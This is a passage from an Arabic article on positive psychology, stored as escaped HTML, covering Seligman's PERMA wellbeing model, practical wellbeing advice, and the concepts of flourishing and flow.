\u0648\u0627\u0644\u0633\u0631\u0648\u0631 the pleasant life &#8220;<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0627\u0646\u062f\u0645\u0627\u062c Engagement \u064a\u0642\u0635\u062f \u0628\u0627\u0644\u0627\u0646\u062f\u0645\u0627\u062c \u062d\u0627\u0644\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0631\u0627\u0642 \u0627\u0644\u062a\u0627\u0645 \u0641\u064a \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0648\u0627\u0644\u0645\u0647\u0627\u0645 \u0627\u0644\u062a\u064a \u064a\u062a\u0639\u0627\u0645\u0644 \u0645\u0639\u0647\u0627 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0628\u062d\u064a\u062b \u064a\u063a\u064a\u0628 \u0634\u0639\u0648\u0631\u0647 \u0628\u0630\u0627\u062a \u0648\u0628\u0627\u0644\u0648\u0642\u062a \u0627\u0642\u062a\u0631\u0646\u064b\u0627 \u0628\u0645\u062a\u0639\u0629 \u0630\u0627\u062a\u064a\u0629 \u0648\u0647\u064a \u062a\u062c\u0633\u064a\u062f \u0644\u062d\u0627\u0644\u0629 &#8220;\u0627\u0644\u062a\u062f\u0641\u0642 Flow &#8220;.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0639\u0644\u0627\u0642\u0627\u062a Relationships \u0648\u062a\u0645\u062b\u0644 \u0646\u0648\u0639\u064a\u0629 \u0639\u0644\u0627\u0642\u0627\u062a \u0627\u0644\u0634\u062e\u0635 \u0627\u0644\u0645\u062a\u0628\u0627\u062f\u0644\u0629 \u0645\u0639 \u0627\u0644\u0622\u062e\u0631 \u0627\u0644\u062c\u0627\u0646\u0628 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a \u0641\u064a \u0646\u0638\u0631\u064a\u0629 &#8220;\u0627\u0644\u0647\u0646\u0627\u0621&#8221; \u0623\u0648 &#8220;\u0627\u0644\u062a\u0646\u0639\u0645&#8221; \u0623\u0648 &#8220;\u062d\u0633\u0646 \u0627\u0644\u062d\u0627\u0644&#8221; \u0623\u0648 &#8220;\u0637\u064a\u0628 \u0627\u0644\u062d\u064a\u0627\u0629&#8221; &#8230;. Well-being theory.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0645\u0639\u0646\u0649 \u0648\u0627\u0644\u0645\u063a\u0632\u0649 \u0648\u0627\u0644\u063a\u0631\u0636 Meaning and Purpose \u0648\u062a\u0639\u0643\u0633 \u062a\u0648\u062c\u0647 \u0627\u0644\u0634\u062e\u0635 \u0644\u0644\u062a\u0639\u0644\u0642 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u062d\u0627\u0644\u0629 \u0648\u062c\u0648\u062f \u062a\u062a\u062c\u0627\u0648\u0632 \u0641\u0636\u0627\u0621\u0627\u062a \u0627\u0644\u0630\u0627\u062a \u0628\u062a\u062e\u0648\u0645\u0647\u0627 \u0627\u0644\u0636\u064a\u0642\u0629 \u0648\u0627\u0644\u0625\u0628\u062d\u0627\u0631 \u0641\u064a \u0639\u0627\u0644\u0645 \u0645\u062a\u0633\u0627\u0645\u064d \u0623\u062e\u0644\u0627\u0642\u064a\u064b\u0627 \u064a\u0639\u064a\u0634 \u0641\u064a\u0647 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0644\u063a\u0627\u064a\u0629 \u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0646\u0628\u064a\u0644\u0629 \u0628\u063a\u0636 \u0627\u0644\u0646\u0638\u0631 \u0639\u0646 \u0633\u0639\u0627\u062f\u062a\u0647 \u0627\u0644\u0630\u0627\u062a\u064a\u0629.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0625\u0646\u062c\u0627\u0632 Achievement \u0648\u064a\u0639\u0643\u0633 \u062a\u0648\u062c\u0647 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0625\u0644\u0649 \u0627\u0644\u0625\u062b\u0645\u0627\u0631 \u0627\u0644\u0648\u062c\u0648\u062f\u064a \u0627\u0644\u0630\u064a \u062a\u0631\u062a\u0642\u064a \u0641\u064a \u0625\u0637\u0627\u0631\u0647 \u0627\u0644\u062d\u064a\u0627\u0629 \u0628\u0635\u0641\u0629 \u0639\u0627\u0645\u0629 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0630\u0627\u062a\u064a \u0648\u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u060c \u0628\u0645\u0627 \u064a\u0633\u062a\u0644\u0632\u0645\u0647 \u0630\u0644\u0643 \u0645\u0646 \u0645\u062b\u0627\u0628\u0631\u0629 \u0648\u0625\u0635\u0631\u0627\u0631 \u0648\u062a\u0635\u0645\u064a\u0645 \u0648\u062f\u0623\u0628 \u0648\u062c\u0644\u062f \u0648\u062a\u062d\u0645\u0644 \u0648\u062a\u0636\u062d\u064a\u0629.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u064a\u0642\u062f\u0645 \u0647\u0630\u0627 \u0627\u0644\u0646\u0645\u0648\u0630\u062c \u0625\u0637\u0627\u0631\u064b\u0627 \u0645\u0631\u062c\u0639\u064a\u064b\u0627 \u0639\u0627\u0645\u064b\u0627 \u0644\u0641\u0647\u0645 \u0645\u0627\u0647\u064a\u0629 &#8220;\u0627\u0644\u062a\u0646\u0639\u0645 \u0623\u0648 \u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221;\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0623\u0633\u0627\u0633 \u0644\u062a\u062d\u0633\u064a\u0646 \u0630\u0644\u0643 \u0627\u0644\u0647\u0646\u0627\u0621 \u0648\u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0628\u0647\u060c \u0648\u0625\u0630\u0627 \u0623\u0631\u062f\u062a \u0623\u0646 \u062a\u062d\u0633\u0646 \u0648\u062a\u0639\u0632\u0632 \u0634\u0639\u0648\u0631\u0643 \u0628\u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0627\u0644\u0623\u0635\u064a\u0644\u0629 \u0648\u0627\u0644\u0647\u0646\u0627\u0621 \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0639\u0627\u0645 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u064a\u0641\u062a\u0631\u0636 \u0628\u0643 \u0623\u0646 \u062a\u0631\u0643\u0632 \u0639\u0644\u0649 \u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u062d\u0627\u0648\u0644 \u0627\u0644\u062a\u0639\u0627\u064a\u0634 \u0645\u0639 \u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u062a\u0644\u0645\u0633\u064b\u0627 \u0648\u0635\u0646\u0627\u0639\u0629 \u0648\u062a\u0631\u0642\u0628\u064b\u0627 \u0648\u0627\u0633\u062a\u0645\u062a\u0627\u0639\u064b\u0627 \u0628\u0647\u0627\u060c \u0645\u0639 \u0627\u0644\u0627\u062c\u062a\u0647\u0627\u062f \u0641\u064a \u0641\u0639\u0644 \u0643\u0644 \u0645\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0633\u0639\u062f \u0628\u0647 \u062e\u0644\u0627\u0644 \u0631\u0648\u062a\u064a\u0646 \u062d\u064a\u0627\u062a\u0643 \u0627\u0644\u064a\u0648\u0645\u064a\u0629.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u062d\u0631\u0635 \u0639\u0644\u0649 \u0627\u0644\u0627\u0646\u062f\u0645\u0627\u062c \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u062a\u0642\u0628\u0644\u0627\u064b \u0648\u062a\u0631\u062d\u064a\u0628\u064b\u0627 \u0628\u0648\u0642\u0627\u0626\u0639\u0647\u0627 \u0648\u062e\u0628\u0631\u0627\u062a\u0647\u0627 \u0648\u0639\u0637\u0627\u0626\u0647\u0627 \u0627\u0644\u064a\u0648\u0645\u064a\u060c \u0645\u0639 \u0627\u0644\u0627\u0633\u062a\u0645\u062a\u0627\u0639 \u0628\u0647\u0648\u064a\u0627\u062a\u0643 \u0648\u0627\u0647\u062a\u0645\u0627\u0645\u0627\u062a \u0627\u0644\u0634\u062e\u0635\u064a\u0629 \u0648\u062a\u0637\u0648\u064a\u0631 \u0645\u0647\u0627\u0631\u0627\u062a\u0643 \u0648\u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0639\u0645\u0644 \u064a\u0644\u0628\u064a \u0634\u063a\u0641\u0643 \u0648\u064a\u062a\u0648\u0627\u0641\u0642 \u0645\u0639 \u0637\u0645\u0648\u062d\u0643.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0627\u062c\u062a\u0647\u0627\u062f \u0641\u064a \u062a\u062d\u0633\u064a\u0646 \u0639\u0644\u0627\u0642\u0627\u062a\u0643 \u0628\u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0648\u0627\u0644\u0639\u0645\u0644 \u0639\u0644\u0649 \u062a\u0623\u0633\u064a\u0633 \u0639\u0644\u0627\u0642\u0627\u062a \u0628\u064a\u0646 \u0634\u062e\u0635\u064a\u0629 \u0648\u062f\u064a\u0629 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0642\u0648\u0627\u0645\u0647\u0627 \u0627\u0644\u0645\u0633\u0627\u0646\u062f\u0629 \u0648\u0627\u0644\u062a\u0641\u0647\u0645 \u0645\u0639 \u0623\u0635\u062f\u0642\u0627\u0626\u0643 \u0648\u0623\u0633\u0631\u062a\u0643 \u0648\u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0628\u0634\u0643\u0644 \u0639\u0627\u0645.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u0645\u0639\u0646\u0649 \u0648\u0627\u0639\u0645\u0644 \u0639\u0644\u0649 \u0627\u0643\u062a\u0634\u0627\u0641\u0647 \u0648\u062a\u062e\u0644\u064a\u0642\u0647 \u0648\u062d\u0627\u0648\u0644 \u0627\u0644\u062a\u0633\u0627\u0645\u064a \u0628\u0627\u0644\u0630\u0627\u062a \u0641\u064a \u0625\u0637\u0627\u0631 \u0627\u0644\u062a\u0648\u062c\u0647 \u0644\u0644\u0623\u0639\u0645\u0627\u0644 \u0627\u0644\u062e\u064a\u0631\u064a\u0629 \u0648\u062e\u062f\u0645\u0629 \u0627\u0644\u0622\u062e\u0631\u064a\u0646 \u0648\u062a\u0648\u062c\u064a\u0647\u0647\u0645 \u0648\u0625\u0631\u0634\u0627\u062f\u0647\u0645.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0631\u0643\u0632 \u0641\u064a \u0623\u0647\u062f\u0627\u0641\u0643 \u0648\u062d\u0627\u0648\u0644 \u0627\u0644\u0627\u062c\u062a\u0647\u0627\u062f \u0627\u0644\u062a\u0627\u0645 \u0641\u064a \u062a\u062d\u0642\u064a\u0642\u0647\u0627 \u0645\u0639 \u0627\u0644\u0645\u062d\u0627\u0641\u0638\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0628\u064a\u0646 \u0627\u0644\u062c\u0647\u062f \u0648\u0645\u0631\u0627\u0639\u0627\u0629 \u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0648\u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u0645\u0647\u0645\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 (Seligman, 2011).<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u064a\u062c\u062f\u0631 \u0627\u0644\u062a\u0646\u0648\u064a\u0647 \u0625\u0644\u0649 \u0623\u0646 &#8220;\u0627\u0644\u0645\u0643\u0648\u0646\u0627\u062a \u0627\u0644\u062e\u0645\u0633\u0629&#8221; \u0644\u0646\u0645\u0648\u0630\u062c \u0627\u0644\u0647\u0646\u0627\u0621 \u0648\u0627\u0644\u062a\u0646\u0639\u0645 &#8220;\u0628\u064a\u0631\u0645\u0627&#8221; \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u0642\u064a\u0627\u0633\u060c \u0648\u0647\u064a \u0645\u0639\u064b\u0627 \u0636\u0631\u0648\u0631\u064a\u0629 \u0644\u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0647\u0646\u0627\u0621 \u0627\u0644\u0639\u0627\u0645 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0648\u064a\u0639\u062f \u062a\u0637\u0648\u064a\u0631\u064b\u0627 \u0644\u0646\u0645\u0648\u0630\u062c \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0627\u0644\u0623\u0635\u064a\u0644\u0629 \u0627\u0644\u0630\u064a \u0635\u0627\u063a\u0647 \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 \u0645\u0646 \u0642\u0628\u0644 \u0648\u0627\u0644\u0630\u064a \u0643\u0627\u0646 \u064a\u0631\u0643\u0632 \u0641\u064a\u0647 \u0639\u0644\u0649 &#8220;\u0627\u0644\u0633\u0639\u0627\u062f\u0629&#8221; \u0648 &#8220;\u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629&#8221; \u0631\u063a\u0645 \u0643\u0648\u0646\u0647\u0645\u0627 \u0623\u062c\u0632\u0627\u0621 \u0641\u0642\u0637 \u0641\u064a \u0645\u062a\u0644\u0627\u0632\u0645\u0629 \u0627\u0644\u062a\u0646\u0639\u0645 \u0648\u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629.<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><em><strong>\u0633\u0627\u0628\u0639\u064b\u0627- \u0645\u0641\u0627\u0647\u064a\u0645 \u0645\u0631\u0643\u0632\u064a\u0629 \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a- \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0648\u0627\u0644\u062a\u062f\u0641\u0642: <\/strong><\/em><\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631<\/strong><strong>Flourishing<\/strong><strong>:<\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0639\u0646\u062f \u0627\u0644\u062a\u062d\u062f\u062b \u0639\u0646 \u0645\u0641\u0647\u0648\u0645 &#8220;\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631&#8221; \u0645\u0646 \u0645\u0646\u0638\u0648\u0631 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u064a\u0624\u0643\u062f \u0628\u0635\u0648\u0631\u0629 \u0639\u0627\u0645\u0629 \u0639\u0644\u0649 \u0623\u0646 &#8220;\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a&#8221; \u0645\u0627 \u0647\u0648 \u0625\u0644\u0627 &#8220;\u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0627\u0644\u0645\u0648\u0636\u0648\u0639\u064a\u0629 \u0644\u0643\u0644 \u0645\u0627 \u064a\u0624\u062f\u064a \u0625\u0644\u0649 \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0648\u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629\u0648\u0627\u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0627\u0644\u0623\u0645\u062b\u0644 \u0643\u0623\u0633\u0627\u0633 \u0644\u0637\u064a\u0628 \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a\u0647\u0627&#8221;.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0639\u0644\u0649 \u0630\u0644\u0643 \u064a\u0639\u062f \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0627\u0644\u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0645\u0631\u0643\u0632\u064a \u0628\u0644 \u0648\u0627\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0639\u0627\u0645 \u0627\u0644\u0630\u064a \u062a\u0646\u062a\u0638\u0645 \u0641\u064a \u0645\u062a\u0646\u0647 \u0645\u0641\u0627\u0647\u064a\u0645 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0627\u0644\u0622\u062e\u0631\u0649 \u0648\u064a\u0634\u064a\u0631 \u0625\u0644\u0649 &#8220;\u062d\u0627\u0644\u0629 \u062a\u062a\u062d\u0642\u0642 \u0639\u0646\u062f \u062a\u0646\u0645\u064a\u0629 \u0645\u0643\u0648\u0646\u0627\u062a \u0646\u0645\u0648\u0630\u062c \u0628\u064a\u0631\u0645\u0627 \u0643\u0623\u0633\u0627\u0633 \u0644\u0645\u0633\u0627\u0631 \u0627\u0644\u0647\u0646\u0627\u0621 \u0648\u0627\u0644\u062a\u0646\u0639\u0645 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221;\u060c \u0648\u064a\u0632\u062f\u0647\u0631 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0648\u064a\u0631\u062a\u0642\u064a \u0639\u0646\u062f\u0645\u0627 \u0646\u062c\u062a\u0647\u062f \u0641\u064a \u062a\u0646\u0645\u064a\u0629 \u0645\u0648\u0627\u0647\u0628\u0647 \u0648\u0645\u0643\u0627\u0645\u0646 \u0642\u0648\u062a\u0647\u060c \u0648\u0639\u0646\u062f\u0645\u0627 \u0646\u0645\u0643\u0646\u0647 \u0645\u0646 \u062a\u0642\u0635\u0649 \u0645\u0639\u0646\u0649 \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0648\u062a\u0623\u0633\u064a\u0633 \u0639\u0644\u0627\u0642\u0627\u062a \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0647\u0627\u062f\u0641\u0629 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\u0645\u0627 \u0628\u0623\u0646\u0647 \u0627\u0631\u062a\u0642\u0649 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0627\u0632\u062f\u0647\u0631 \u0641\u064a\u0647\u0627 \u0628\u062f\u0648\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0644\u0647 \u0625\u0646\u062c\u0627\u0632\u0627\u062a \u0630\u0627\u062a \u0642\u064a\u0645\u0629 \u0648\u0623\u0635\u0627\u0644\u0629 \u0645\u0639 \u062a\u062d\u0642\u064a\u0642\u0647 \u0644\u0623\u0647\u062f\u0627\u0641\u0647 \u0648\u062a\u0648\u062c\u0647\u0647 \u0644\u0644\u0627\u0646\u062f\u0641\u0627\u0639 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0645\u0633\u0627\u0631 \u0627\u0644\u0646\u062c\u0627\u062d \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0639\u064a\u0634 \u062d\u064a\u0627\u0629 \u0637\u064a\u0628\u0629 \u0648\u0635\u0627\u0644\u062d\u0629(Seligman, 2011).<\/p>\n<p style=\"text-align: justify;\">\u0648\u0648\u0635\u0641 \u0627\u062e\u062a\u0635\u0627\u0635\u064a \u0648\u0623\u0633\u062a\u0627\u0630 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u062f. \u0644\u064a\u0646 \u0633\u0648\u062a\u0633 Dr. Lynn Soots (2018)\u00a0 \u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0639\u0644\u0649 \u0627\u0644\u0646\u062d\u0648 \u0627\u0644\u062a\u0627\u0644\u064a &#8220;\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u062f\u0627\u0644\u0629 \u0644\u0645\u062b\u0627\u0628\u0631\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0648\u0633\u0639\u064a\u0647 \u0648\u0627\u0646\u062f\u0645\u0627\u062c\u0647 \u0641\u064a \u062d\u064a\u0627\u0629 \u0623\u0635\u064a\u0644\u0629 \u062d\u0642\u064a\u0642\u064a\u0629 \u062a\u062d\u0642\u0642 \u0644\u0647 \u0627\u0644\u0628\u0647\u062c\u0629 \u0648\u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0639\u0628\u0631 \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0623\u0647\u062f\u0627\u0641 \u0648\u0627\u0644\u0634\u063a\u0641 \u0628\u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u0627\u0644\u0625\u062b\u0645\u0627\u0631 \u0641\u064a\u0647\u0627 \u0639\u0628\u0631 \u0643\u0644 \u062f\u0631\u0648\u0628\u0647\u0627 \u0648\u0645\u0633\u0627\u0631\u062a\u0647\u0627&#8221;.<\/p>\n<p style=\"text-align: justify;\">\u064a\u0636\u0627\u0641 \u0625\u0644\u0649 \u0645\u0627 \u062a\u0642\u062f\u0645 \u062a\u0623\u0643\u064a\u062f \u062f. \u0644\u064a\u0646 \u0633\u0648\u062a\u0633 Dr. Lynn Soots (2018) \u0639\u0644\u0649 \u0623\u0646 &#8220;\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631&#8221; \u0644\u064a\u0633 \u0633\u0645\u0629<\/p>\n<p style=\"text-align: justify;\">\u0623\u0648 \u062e\u0627\u0635\u064a\u0629 \u0623\u0648 \u0634\u064a\u0621 \u064a\u0645\u062a\u0644\u0643\u0647 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0623\u0648 \u064a\u0641\u062a\u0642\u062f\u0647\u060c \u0628\u0644 \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0639\u0645\u0644\u064a\u0629 \u062a\u062a\u0637\u0644\u0628 \u0641\u0639\u0644\u0627\u064b \u0648\u0645\u062b\u0627\u0628\u0631\u0629 \u0648\u0627\u062c\u062a\u0647\u0627\u062f\u064b\u0627 \u0648\u0648\u0636\u0639\u064b\u0627 \u0642\u0627\u0628\u0644 \u0644\u0644\u062a\u0634\u0643\u064a\u0644 \u0648\u0627\u0644\u0635\u0646\u0627\u0639\u0629 \u0648\u0644\u0627 \u064a\u0647\u0628\u0647 \u0644\u0643 \u0623\u062d\u062f \u0628\u0644 \u064a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u0645\u062a\u0644\u0627\u0632\u0645\u0629 \u0627\u0644\u0627\u0633\u062a\u0642\u0644\u0627\u0644\u064a\u0629 \u0648\u0627\u0644\u062a\u0635\u0645\u064a\u0645 \u0648\u0627\u0644\u0645\u062b\u0627\u0628\u0631\u0629 \u0648\u0627\u0644\u0627\u062c\u062a\u0647\u0627\u062f \u0648\u0627\u0644\u062c\u0644\u062f \u0648\u0627\u0644\u062a\u062d\u0645\u0644 \u0648\u0627\u0644\u062f\u0623\u0628.<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><strong>\u0627\u0644\u062a\u062f\u0641\u0642<\/strong><strong>Flow<\/strong><strong>: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u062a\u062f\u0641\u0642 \u0645\u0646 \u0627\u0644\u0645\u0648\u0636\u0648\u0639\u0627\u062a \u0627\u0644\u0645\u0631\u0643\u0632\u064a\u0629 \u0627\u0644\u0623\u062e\u0631\u0649 \u0641\u064a \u0628\u0646\u064a\u0629 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u060c \u0648\u064a\u0639\u062f \u0645\u0647\u064a\u0627\u0644\u064a \u062a\u0634\u0643\u0632\u0646\u062a\u0645\u0647\u064a\u0627\u0644\u064a &#8220;\u0645\u0647\u0627\u064a \u062a\u0633\u0643\u0632\u0646\u062a\u0645\u0647\u0627\u064a \u0627\u0644\u0645\u0624\u0633\u0633 \u0627\u0644\u062b\u0627\u0646\u064a \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a&#8221; \u0623\u0648\u0644 \u0645\u0646 \u0642\u062f\u0645 \u0645\u0641\u0647\u0648\u0645 &#8220;\u0627\u0644\u062a\u062f\u0641\u0642&#8221; \u0641\u064a \u0623\u062f\u0628\u064a\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633\u060c \u0641\u062e\u0644\u0627\u0644 \u0627\u0644\u0639\u0642\u0648\u062f \u0627\u0644\u0623\u062e\u064a\u0631\u0629 \u0645\u0646 \u0627\u0644\u0642\u0631\u0646 \u0627\u0644\u0639\u0634\u0631\u064a\u0646\u060c \u0644\u0627\u062d\u0638 \u0645\u064a\u0647\u0627\u064a \u062a\u0633\u0643\u0632\u0646\u062a\u0645\u0647\u0627\u064a \u0623\u0646 \u0639\u062f\u064a\u062f\u064b\u0627 \u0645\u0646 \u0627\u0644\u0641\u0646\u0627\u0646\u064a\u0646 \u064a\u0642\u0639\u0648\u0646 \u0641\u064a \u062d\u0627\u0644\u0629 \u0646\u0648\u0639\u064a\u0629 \u062e\u0627\u0635\u0629 \u0645\u0646 \u0627\u0644\u0648\u062c\u0648\u062f \u0627\u0644\u0646\u0641\u0633\u064a \u0623\u062b\u0646\u0627\u0621 \u0639\u0645\u0644\u0647\u0645 \u062a\u0648\u0635\u0641 \u0628\u0623\u0646\u0647\u0627 \u062d\u0627\u0644\u0629 \u0645\u0646 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0627\u0644\u062a\u0627\u0645 \u0648\u0627\u0644\u0645\u0637\u0644\u0642 \u0641\u064a \u0627\u0644\u0645\u0647\u0645\u0629 \u0627\u0644\u062a\u064a \u064a\u0624\u062f\u0648\u0646\u0647\u0627 \u0644\u062f\u0631\u062c\u0629 \u0646\u0633\u064a\u0627\u0646\u0647\u0645 \u0644\u0623\u0646\u0641\u0633\u0647\u0645 \u0648\u0644\u0644\u0632\u0645\u0646 \u0628\u0635\u0648\u0631\u0629 \u062a\u0627\u0645\u0629 \u0644\u0633\u0627\u0639\u0627\u062a \u0637\u0648\u0627\u0644 \u062f\u0648\u0646 \u062a\u0639\u0628 \u0623\u0648 \u0645\u0644\u0644 \u0628\u0644 \u0628\u0633\u0639\u0627\u062f\u0629 \u0648\u062d\u0628\u0648\u0631 \u0643\u0623\u0646\u0647\u0645 \u0641\u064a \u062d\u0627\u0644\u0629 \u0633\u064f\u0643\u0631 \u0628\u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0635\u0648\u0641\u064a \u0625\u0646 \u062c\u0627\u0632 \u0627\u0644\u062a\u0639\u0628\u064a\u0631.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0648\u0627\u0635\u0644 \u0645\u064a\u0647\u0627\u064a \u062a\u0633\u0643\u0632\u0646\u062a\u0645\u0647\u0627\u064a \u062f\u0631\u0627\u0633\u0627\u062a\u0647 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u062c\u0627\u0644 \u0628\u062f\u0631\u0627\u0633\u0629 &#8220;\u0627\u0644\u0631\u064a\u0627\u0636\u064a\u064a\u0646 \u0648\u0627\u0644\u0645\u0648\u0633\u064a\u0642\u064a\u064a\u0646 \u0648\u0627\u0644\u0643\u062a\u0627\u0628 \u0648\u0627\u0644\u0641\u0646\u0627\u0646\u064a\u0646 \u0645\u0646 \u0645\u062e\u062a\u0644\u0641 \u0627\u0644\u0641\u0646\u0648\u0646 \u0648\u0627\u0644\u0625\u0639\u0645\u0627\u0644 \u0627\u0644\u0625\u0628\u062f\u0627\u0639\u064a\u0629&#8221; \u0648\u0648\u062c\u062f \u0623\u0646\u0647 \u0645\u062b\u0644 \u0647\u0624\u0644\u0627\u0621 \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u064a\u0646\u0633\u0648\u0646 \u0623\u0646\u0641\u0633\u0647\u0645 \u062a\u0645\u0627\u0645\u064b\u0627 \u0623\u062b\u0646\u0627\u0621 \u0639\u0645\u0644\u0647\u0645 \u0648\u0644\u0627 \u064a\u0631\u0648\u0646 \u0625\u0644\u0627 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0630\u064a \u064a\u0642\u0648\u0645\u0648\u0646 \u0628\u0647\u060c \u0648\u0628\u062f\u0623 \u0645\u064a\u0647\u0627\u064a \u062a\u0633\u0643\u0632\u0646\u062a\u0645\u0647\u0627\u064a \u0641\u064a \u0648\u0635\u0641 \u0647\u0630\u0647 